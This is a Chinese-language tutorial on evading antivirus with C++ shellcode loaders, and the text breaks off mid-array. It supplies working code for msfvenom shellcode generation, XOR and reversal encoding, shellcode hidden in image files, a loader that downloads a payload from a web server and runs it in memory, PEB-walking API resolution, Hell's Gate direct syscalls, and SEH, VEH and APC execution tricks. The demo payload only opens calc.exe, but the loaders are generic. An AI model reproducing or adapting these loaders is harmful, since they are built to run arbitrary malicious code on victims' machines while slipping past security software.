C++源码免杀入门

准备

创建俩VS控制台工程,一个为Shellcode一个为ShellcodeLoader,两边运行库都改为多线程调试/MTd,关掉Spectre缓解,符合模式改为否。

用MSFVenom搞个Shellcode,功能是弹计算器,C语言格式:

1
msfvenom -p windows/exec cmd=calc.exe -f c

当然这样生成的C代码很别扭,选中其中十六进制及引号部分,在010Editor中粘贴自十六进制,再拷贝自C代码。

注意这个是x86下的Shellcode,下面Loader要用x86写。

异或与逆转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <iostream>
#include <Windows.h>
#include <tchar.h>
using namespace std;
#define SHELLCODE_LENGTH 193
#define SHELLCODE_KEY 0x69 //shellcode里尽量不要有
UCHAR shellcode[193] = {
0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
0x00
};
VOID xorcode(PCHAR szBuffer, INT nLength, CHAR key) { //异或加密
for (SIZE_T i = 0; i < nLength; i++)
szBuffer[i] ^= key;
return;
};
VOID recode(PCHAR szBuffer, INT nLength) { //逆转加密
PCHAR szTemp = new CHAR[nLength]{ 0 };
INT count = nLength - 1;
for (SIZE_T i = 0; i < count; i++)
szTemp[count - i] = szBuffer[i];
for (SIZE_T i = 0; i <= count; i++)
szBuffer[i] = szTemp[i];
return;
};
VOID WriteToFile(CONST PCHAR szPath, PCHAR szBuffer, INT nLength) { //写文件
HANDLE hFile = CreateFileA(szPath, GENERIC_READ | GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD lpNumberOfBytesWritten = 0;
BOOL bRet = WriteFile(hFile, szBuffer, nLength, &lpNumberOfBytesWritten, NULL);
if (bRet)
cout << "WriteFile Success!" << endl;
else
cout << "WriteFile Fail!" << endl;
return;
};
INT _tmain(INT argc,_TCHAR argv[]) {
recode((PCHAR)&shellcode, SHELLCODE_LENGTH);
xorcode((PCHAR)&shellcode, SHELLCODE_LENGTH, SHELLCODE_KEY);
WriteToFile("D:\\tests\\aaa.ini", (PCHAR)&shellcode, SHELLCODE_LENGTH);
return 0;
};

生成加密后的Shellcode用010Editor导出,写Loader:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <iostream>
#include <Windows.h>
#include <tchar.h>
using namespace std;
#define SHELLCODE_LENGTH 193
#define SHELLCODE_KEY 0x69 //shellcode里尽量不要有
UCHAR shellcode[193] = {
0x69, 0x0C, 0x11, 0x0C, 0x47, 0x0A, 0x05, 0x08, 0x0A, 0xBC, 0x96, 0x3A, 0x69, 0x03, 0x06, 0x1B,
0x7A, 0x2E, 0xD2, 0x6C, 0x1C, 0x89, 0x92, 0xE9, 0x63, 0x15, 0x6F, 0x55, 0xBC, 0x96, 0xF4, 0xD4,
0xFC, 0xCF, 0x01, 0x3F, 0xCB, 0xDC, 0x99, 0xD2, 0xBC, 0x96, 0xEE, 0x06, 0xE2, 0x58, 0x01, 0x39,
0x69, 0x69, 0x69, 0xDB, 0xEC, 0xE4, 0x68, 0x03, 0x34, 0xE4, 0x82, 0x7B, 0xE2, 0x33, 0x36, 0x36,
0x89, 0x96, 0x38, 0x33, 0x30, 0x08, 0x32, 0x32, 0x4D, 0x4D, 0x2D, 0xE0, 0xB9, 0x68, 0xE2, 0x6D,
0xE2, 0xBA, 0x68, 0x75, 0x31, 0xE2, 0x22, 0x65, 0xE2, 0x0F, 0xBA, 0x68, 0x4D, 0x31, 0xE2, 0x31,
0x8D, 0x1C, 0x4D, 0x14, 0x52, 0x91, 0x14, 0x6A, 0x9F, 0x1C, 0x89, 0x51, 0xAE, 0x68, 0x64, 0xA6,
0xA8, 0xC5, 0x96, 0x58, 0xBF, 0x68, 0xE2, 0x5D, 0xE2, 0x20, 0x53, 0x8A, 0x71, 0x20, 0xE2, 0xBA,
0x68, 0x49, 0x30, 0xE2, 0x38, 0xB8, 0x68, 0x21, 0x8A, 0x11, 0x78, 0x25, 0xE2, 0x55, 0x23, 0xE2,
0x79, 0x3B, 0xE2, 0x3E, 0x3B, 0x9B, 0x8B, 0xAE, 0x68, 0x64, 0xA6, 0xA8, 0x49, 0x45, 0x6B, 0x15,
0x08, 0x55, 0xC5, 0x96, 0x58, 0x4F, 0x23, 0xDE, 0x66, 0x41, 0x1B, 0xE2, 0x7D, 0x3B, 0xE2, 0x65,
0x3B, 0xE2, 0x59, 0x39, 0xE2, 0x0D, 0xA9, 0x58, 0x8C, 0xE0, 0x09, 0x69, 0x69, 0x69, 0xEB, 0x81,
0x95
};
VOID xorcode(PCHAR szBuffer, INT nLength, CHAR key) { //异或加密
for (SIZE_T i = 0; i < nLength; i++)
szBuffer[i] ^= key;
return;
};
VOID recode(PCHAR szBuffer, INT nLength) { //逆转加密
PCHAR szTemp = new CHAR[nLength]{ 0 };
INT count = nLength - 1;
for (SIZE_T i = 0; i <= count; i++)
szTemp[i] = szBuffer[count - i];
for (SIZE_T i = 0; i <= count; i++)
szBuffer[i] = szTemp[i];
return;
};
INT _tmain(INT argc, _TCHAR argv[]) {
xorcode((PCHAR)&shellcode, SHELLCODE_LENGTH, SHELLCODE_KEY);
recode((PCHAR)&shellcode, SHELLCODE_LENGTH);
LPVOID lpBuffer = VirtualAlloc(NULL, SHELLCODE_LENGTH, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T lpNumberOfBytesWritten = 0;
WriteProcessMemory(GetCurrentProcess(), lpBuffer, shellcode, SHELLCODE_LENGTH,&lpNumberOfBytesWritten);
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
};

本地分离

例如Shellcode嵌入某图片等最后面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <iostream>
#include <Windows.h>
#include <tchar.h>
using namespace std;
#define SHELLCODE_LENGTH 193
#define SHELLCODE_KEY 0x69 //shellcode里尽量不要有
PCHAR GetCode(CONST PCHAR localPath, INT nCodeSize) {
HANDLE hFile = CreateFileA(localPath, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwFileSize = GetFileSize(hFile, NULL);
PCHAR szBuffer = new CHAR[dwFileSize]{ 0 };
DWORD dwReadLength = 0;
ReadFile(hFile, szBuffer, dwFileSize, &dwReadLength, NULL);
DWORD dwIndex = dwFileSize - nCodeSize;
PCHAR szShellcode = new CHAR[nCodeSize]{ 0 };
memcpy(szShellcode, (szBuffer + dwIndex), nCodeSize);
return szShellcode;
};
INT _tmain(INT argc, _TCHAR argv[]) {
PCHAR szCode = GetCode("C:\\xxx.jpg", SHELLCODE_LENGTH);
for (SIZE_T i = 0; i < SHELLCODE_LENGTH; i++)
szCode[i] ^= 0x69;
LPVOID lpBuffer = VirtualAlloc(NULL, 0x200, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T lpNumberOfBytesWritten = 0;
BOOL bRet=WriteProcessMemory(GetCurrentProcess(), lpBuffer, szCode, SHELLCODE_LENGTH, &lpNumberOfBytesWritten);
if (bRet)
cout << "WriteProcessMemory Success!" << endl;
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
};

远程分离

起个Web服务,HTML写:

1
2
3
<html>
<img src="1.jpg">
</html>

远程下载不落地:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <iostream>
#include <WinSock2.h> //必须在Windows.h前
#include <WinInet.h>
#include <Windows.h>
#include <tchar.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wininet.lib")
using namespace std;
#define SHELLCODE_LENGTH 193
#define SHELLCODE_KEY 0x69 //shellcode里尽量不要有
PCHAR GetCode(CONST PCHAR localPath, INT nCodeSize) {
HANDLE hFile = CreateFileA(localPath, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwFileSize = GetFileSize(hFile, NULL);
PCHAR szBuffer = new CHAR[dwFileSize]{ 0 };
DWORD dwReadLength = 0;
ReadFile(hFile, szBuffer, dwFileSize, &dwReadLength, NULL);
DWORD dwIndex = dwFileSize - nCodeSize;
PCHAR szShellcode = new CHAR[nCodeSize]{ 0 };
memcpy(szShellcode, (szBuffer + dwIndex), nCodeSize);
return szShellcode;
};
INT _tmain(INT argc, _TCHAR argv[]) {
HINTERNET hSession = InternetOpen(TEXT("http-connect"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL);
CHAR szUrl[] = "http://127.0.0.1/1.jpg";
HINTERNET hConnect = InternetOpenUrlA(hSession, szUrl, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, NULL);
CHAR szReadBuffer[0x941F]{ 0 }; //图片总大小+1
DWORD dwReadDataLength = 0;
InternetReadFile(hConnect, szReadBuffer, 0x941F, &dwReadDataLength);
DWORD dwIndex = dwReadDataLength - SHELLCODE_LENGTH;
PCHAR szShellcode = new CHAR[SHELLCODE_LENGTH]{ 0 };
memcpy(szShellcode, (szReadBuffer + dwIndex), SHELLCODE_LENGTH);
for (SIZE_T i = 0; i < SHELLCODE_LENGTH; i++)
szShellcode[i] ^= 0x69;
LPVOID lpBuffer = VirtualAlloc(NULL, 0x200, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T lpNumberOfBytesWritten = 0;
BOOL bRet=WriteProcessMemory(GetCurrentProcess(), lpBuffer, szShellcode, SHELLCODE_LENGTH, &lpNumberOfBytesWritten);
if (bRet)
cout << "WriteProcessMemory Success!" << endl;
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
};

API动态调用

主要为kernel32!LoadLibrarykernel32!GetProcAddress,找到Kernel32模块方法如下,仅限x86。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <iostream>
#include <Windows.h>
#include <tchar.h>
using namespace std;
DWORD GetKernel32Address(VOID) {
DWORD dwKernel32Addr = 0;
_asm {
push eax
mov eax, dword ptr fs : [0x30] //TEB+0x30 -> _PEB ProcessEnvironmentBlock
mov eax, [eax + 0x0c] //__PEB_LDR_DATA Ldr
mov eax, [eax + 0x1c] //_LIST_ENTRY InInitializationOrderModuleList
mov eax, [eax] //_LIST_ENTRY Flink
mov eax, [eax + 0x08] //_LDR_DATA_TABLE_ENTRY InMemoryOrderLinks
mov dwKernel32Addr, eax
pop eax
};
return dwKernel32Addr;
};
DWORD MyGetProcAddress(VOID) {
DWORD dwAddrBase = GetKernel32Address();
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase);
PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress);
DWORD dwFunCount = pExport->NumberOfFunctions;
DWORD dwFunNameCount = pExport->NumberOfNames;
PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase);
PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase);
PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + dwAddrBase);
for (SIZE_T i = 0; i < dwFunCount; i++) {
if (!pAddrOfFun[i])
continue;
DWORD dwFunAddrOffset = pAddrOfFun[i];
for (SIZE_T j = 0; j < dwFunNameCount; j++)
if (pAddrOfOrdinals[j] == i) {
DWORD dwNameOffset = pAddrOfNames[j];
PCHAR pFuncName = (PCHAR)(dwAddrBase + dwNameOffset);
if (strcmp(pFuncName, "GetProcAddress") == 0)
return dwFunAddrOffset + dwAddrBase;
};
};
};
EXTERN_C typedef HMODULE (WINAPI *fnLoadLibraryA)(_In_ LPCSTR lpLibFileName);
EXTERN_C typedef FARPROC (WINAPI *fnGetProcAddress)(_In_ HMODULE hModule,_In_ LPCSTR lpProcName);
EXTERN_C typedef INT (WINAPI *fnMessageBoxA)(_In_opt_ HWND hWnd,_In_opt_ LPCSTR lpText,_In_opt_ LPCSTR lpCaption,_In_ UINT uType);
EXTERN_C typedef VOID (WINAPI *fnExitProcess)(_In_ UINT uExitCode);
INT _tmain(INT argc, _TCHAR argv[]) {
fnGetProcAddress pfnGetProcAddress = (fnGetProcAddress)MyGetProcAddress();
HMODULE hKernel32 = (HMODULE)GetKernel32Address();
fnLoadLibraryA pfnLoadLibraryA = (fnLoadLibraryA)pfnGetProcAddress(hKernel32, "LoadLibraryA");
HMODULE hUser32 = pfnLoadLibraryA("user32.dll");
fnMessageBoxA pfnMessageBoxA = (fnMessageBoxA)pfnGetProcAddress(hUser32, "MessageBoxA");
fnExitProcess pfnExitProcess = (fnExitProcess)pfnGetProcAddress(hKernel32, "ExitProcess");
pfnMessageBoxA(NULL, "xxx", "Msg", MB_OK);
pfnExitProcess(0);
return 0;
};

地狱之门

进内核需要参数和系统服务号。

自己去ntdll.dll中逆系统服务号,应该为函数起始位置偏移4。

这里生成x64下Shellcode,也得加上上面的加密,这里不是重点先略了。

1
msfvenom -p windows/x64/exec cmd=calc.exe -f c

此项目要求外联汇编,在解决方案上右键生成自定义依赖项,勾选masm。然后源文件中添加一个.asm文件。

进内核部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.data
SyscallIndex DWORD 000h
.code
HellsGate proc
mov SyscallIndex,000h
mov SyscallIndex,ecx
ret
HellsGate endp
HellCall proc ;调用地狱门
mov r10,rcx
mov eax,SyscallIndex
syscall
ret
HellCall endp
end

加载器部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <iostream>
#include <Windows.h>
#include <tchar.h>
using namespace std;
EXTERN_C VOID HellsGate(WORD wIndex);
EXTERN_C VOID HellCall(...);
ULONGLONG GetNtdllAddress(VOID) {
ULONGLONG ullNtdll = 0;
_TEB* pTeb = NtCurrentTeb();
PULONGLONG pPeb = (PULONGLONG)(*(PULONGLONG)((ULONGLONG)pTeb + 0x60));
PULONGLONG pLdr = (PULONGLONG)(*(PULONGLONG)((ULONGLONG)pPeb + 0x18));
PULONGLONG pInLoadOrderModuleList = (PULONGLONG)((ULONGLONG)pLdr + 0x10);
PULONGLONG pModuleExe = (PULONGLONG)(*pInLoadOrderModuleList);
PULONGLONG pModuleNtdll = (PULONGLONG)(*pModuleExe);
ullNtdll = pModuleNtdll[6];
return ullNtdll;
};
DWORD GetNtProcIndex(DWORD dwHash) {
ULONGLONG ullBase = GetNtdllAddress();
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ullBase;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS64)(pDos->e_lfanew + ullBase);
PIMAGE_DATA_DIRECTORY pExportDir = pNt->OptionalHeader.DataDirectory;
pExportDir = &(pExportDir[IMAGE_DIRECTORY_ENTRY_EXPORT]);
DWORD dwOffset = pExportDir->VirtualAddress;
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwOffset + ullBase);
DWORD dwFunCount = pExport->NumberOfFunctions;
DWORD dwFunNameCount = pExport->NumberOfNames;
PDWORD pEAT = (PDWORD)(ullBase + pExport->AddressOfFunctions);
PDWORD pENT = (PDWORD)(ullBase + pExport->AddressOfNames);
PWORD pEIT = (PWORD)(ullBase + pExport->AddressOfNameOrdinals);
for (SIZE_T i = 0; i < dwFunCount; i++) {
if (!pEAT[i])
continue;
ULONGLONG ullFunAddOffset = pEAT[i];
for (SIZE_T index = 0; index < dwFunNameCount; index++)
if (pEIT[index] == i) {
ULONGLONG ullFunNameOffset = pENT[index];
PCHAR pFunName = (PCHAR)(ullBase + ullFunNameOffset);
DWORD digest = 0;
while (*pFunName) {
digest = ((digest << 25) | (digest >> 7));
digest += *pFunName;
pFunName++;
};
if (dwHash == digest)
return *(PUCHAR)((ullBase + ullFunAddOffset) + 0x4);
};
};
};
UCHAR shellcode[276] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E,
0x65, 0x78, 0x65, 0x00
};
INT _tmain(INT argc, _TCHAR argv[]) {
HANDLE hThread;
HANDLE hProcess = GetCurrentProcess();
LPVOID lpAddress = NULL;
SIZE_T sSize = 0x1000;
HellsGate(GetNtProcIndex(0x9cb80579)); //NtAllocateVirtualMemoryEx 申请内存
HellCall(hProcess, &lpAddress, &sSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0, 0);
HellsGate(GetNtProcIndex(0x1130814d)); //NtWriteVirtualMemory 写入内存
HellCall(hProcess, lpAddress, shellcode, sizeof(shellcode), 0);
HellsGate(GetNtProcIndex(0x93ec9d3d)); //NtCreateThreadEx 创建线程
HellCall(&hThread, PROCESS_ALL_ACCESS, NULL, hProcess, lpAddress, 0, 0, 0, 0, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
};

SEH/VEH

SEH:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <iostream>
#include <Windows.h>
#include <tchar.h>
#pragma comment(linker,"/section:.data,RWE")
using namespace std;
UCHAR shellcode[193] = {
0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
0x00
};
INT ExceptFilter(VOID) {
((VOID(*)(VOID)) & shellcode)();
return EXCEPTION_CONTINUE_EXECUTION;
};
INT _tmain(INT argc, _TCHAR argv[]) {
__try {
INT a = 0;
INT b = 0;
INT c = a / b;
}
__except (ExceptFilter()) {};
return 0;
};

VEH:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <iostream>
#include <Windows.h>
#include <tchar.h>
#pragma comment(linker,"/section:.data,RWE")
using namespace std;
UCHAR shellcode[193] = {
0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
0x00
};
LONG NTAPI Handler(struct _EXCEPTION_POINTERS* ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
ExceptionInfo->ContextRecord->Eip = (DWORD)shellcode;
return EXCEPTION_CONTINUE_EXECUTION;
};
};
INT _tmain(INT argc, _TCHAR argv[]) {
AddVectoredExceptionHandler(1, Handler);
_asm int 3;
return 0;
};

APC异步过程调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <iostream>
#include <Windows.h>
#include <tchar.h>
#pragma comment(linker,"/section:.data,RWE")
using namespace std;
UCHAR shellcode[193] = {
0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
